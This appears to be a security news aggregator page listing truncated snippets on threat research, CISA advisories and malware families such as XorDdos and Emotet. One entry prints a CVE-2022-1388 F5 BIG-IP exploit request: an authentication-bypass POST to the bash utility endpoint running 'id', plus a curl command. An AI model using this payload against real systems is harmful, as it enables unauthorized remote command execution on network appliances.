Hunt-Sleeping-Beacons - Aims To Identify Sleeping Beacons

The idea of this project is to identify beacons which are unpacked at runtime or running in the context of another process. To do so, I make use of the observation that beacons tend to call Sleep between their callbacks. A call to sleep sets the state of the thread to DelayExecution which is take...

Tracking People via Bluetooth on Their Phones

Weve always known that phones--and the people carrying them--can be uniquely identified from their Bluetooth signatures, and that we need security techniques to prevent that. This new research shows that thats not enough. Computer scientists at the University of California San Diego proved in a...

Weekly Digest 30 May – 5 June 2022

Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 412 24 1 45 3 13 For a detailed threat digest, download the pdf file here Summary The first week of June 2022 witnessed the discovery of 412 vulnerabilities out of which 2...

Trellix Threat Labs Uncovers Critical Flaws in Widely Used Building Access Control System

Trellix Threat Labs Uncovers Critical Flaws in Widely Used Building Access Control System By Trellix · June 9, 2022 This story was also written by Steve Povolny and Sam Quinn. Today at the Hardwear.io Security Trainings and Conference, Trellix Threat Labs is sharing new research into...

People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices

CISA, the National Security Agency NSA, and the Federal Bureau of Investigation FBI have released a joint Cybersecurity Advisory CSA to provide information on ways in which People’s Republic of China PRC state-sponsored cyber actors continue to exploit publicly known vulnerabilities in order to...

AWS-Threat-Simulation-and-Detection - Playing Around With Stratus Red Team (Cloud Attack Simulation Tool) And SumoLogic

This repository is a documentation of my adventures with Stratus Red Team - a tool for adversary emulation for the cloud. Stratus Red Team is "Atomic Red Team for the cloud, allowing to emulate offensive attack techniques in a granular and self-contained manner. We run the attacks covered in the...

Karakurt Data Extortion Group

CISA, the Federal Bureau of Investigation FBI, the Department of Treasury, and the Financial Crimes Enforcement Network FinCEN have released a joint Cybersecurity Advisory CSA to provide information on the Karakurt data extortion group. Karakurt actors steal data and threaten to auction it off or...

How the Saitama backdoor uses DNS tunnelling

Thanks to the Malwarebytes Threat Intelligence Team for the information they provided for this article. Understandably, a lot of cybersecurity research and commentary focuses on the act of breaking into computers undetected. But threat actors are often just as concerned with the act of breaking o...

Beneath the surface: Uncovering the shift in web skimming

Microsoft security researchers recently observed that web skimming campaigns now employ various obfuscation techniques to deliver and hide skimming scripts. It’s a shift from earlier tactics where attackers conspicuously injected malicious scripts into e-commerce platforms and content management...

Beneath the surface: Uncovering the shift in web skimming

Microsoft security researchers recently observed that web skimming campaigns now employ various obfuscation techniques to deliver and hide skimming scripts. It’s a shift from earlier tactics where attackers conspicuously injected malicious scripts into e-commerce platforms and content management...

Cybercrime Getting More Sophisticated: How to Protect Your Business?

Can it happen to us? Are we ready to combat a cyberattack? All over the world, security officers have been fielding these questions from CEOs and the Board of Directors in the wake of large, high-profile cyberattacks. Yes, is the honest answer when attackers have continuously expanded their...

Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices

In the last six months, we observed a 254% increase in activity from a Linux trojan called XorDdos. First discovered in 2014 by the research group MalwareMustDie, XorDdos was named after its denial-of-service-related activities on Linux endpoints and servers as well as its usage of XOR-based...

Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices

In the last six months, we observed a 254% increase in activity from a Linux trojan called XorDdos. First discovered in 2014 by the research group MalwareMustDie, XorDdos was named after its denial-of-service-related activities on Linux endpoints and servers as well as its usage of XOR-based...

Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware

During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content...

In hot pursuit of ‘cryware’: Defending hot wallets from attacks

The steep rise in cryptocurrency market capitalization, not surprisingly, mirrors a marked increase in threats and attacks that target or leverage cryptocurrencies. But Microsoft researchers are observing an even more interesting trend: the evolution of related malware and their techniques, and t...

U.S. Charges Venezuelan Doctor for Using and Selling Thanos Ransomware

The U.S. Justice Department on Monday accused a 55-year-old cardiologist from Venezuela of being the mastermind behind Thanos ransomware, charging him with the use and sale of the malicious tool and entering into profit sharing arrangements. Moises Luis Zagala Gonzalez, also known by the monikers...

Center for Threat-Informed Defense, Microsoft, and industry partners streamline MITRE ATT&CK® matrix evaluation for defenders

The MITRE Center for Threat-Informed Defense, Microsoft, and other industry partners collaborated on a project that created a repeatable methodology for developing a top MITRE ATT&CK® techniques list. The method aims to facilitate navigation of the ATT&CK framework, which could help new defenders...

Center for Threat-Informed Defense, Microsoft, and industry partners streamline MITRE ATT&CK® matrix evaluation for defenders

The MITRE Center for Threat-Informed Defense, Microsoft, and other industry partners collaborated on a project that created a repeatable methodology for developing a top MITRE ATT&CK® techniques list. The method aims to facilitate navigation of the ATT&CK framework, which could help new defenders...

F5 BIG-IP Remote Code Execution

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' -H $'Host: :8443' -H...

Chinese Hackers Caught Stealing Intellectual Property from Multinational Companies

An elusive and sophisticated cyberespionage campaign orchestrated by the China-backed Winnti group has managed to fly under the radar since at least 2019. Dubbed "Operation CuckooBees" by Israeli cybersecurity company Cybereason, the massive intellectual property theft operation enabled the threa...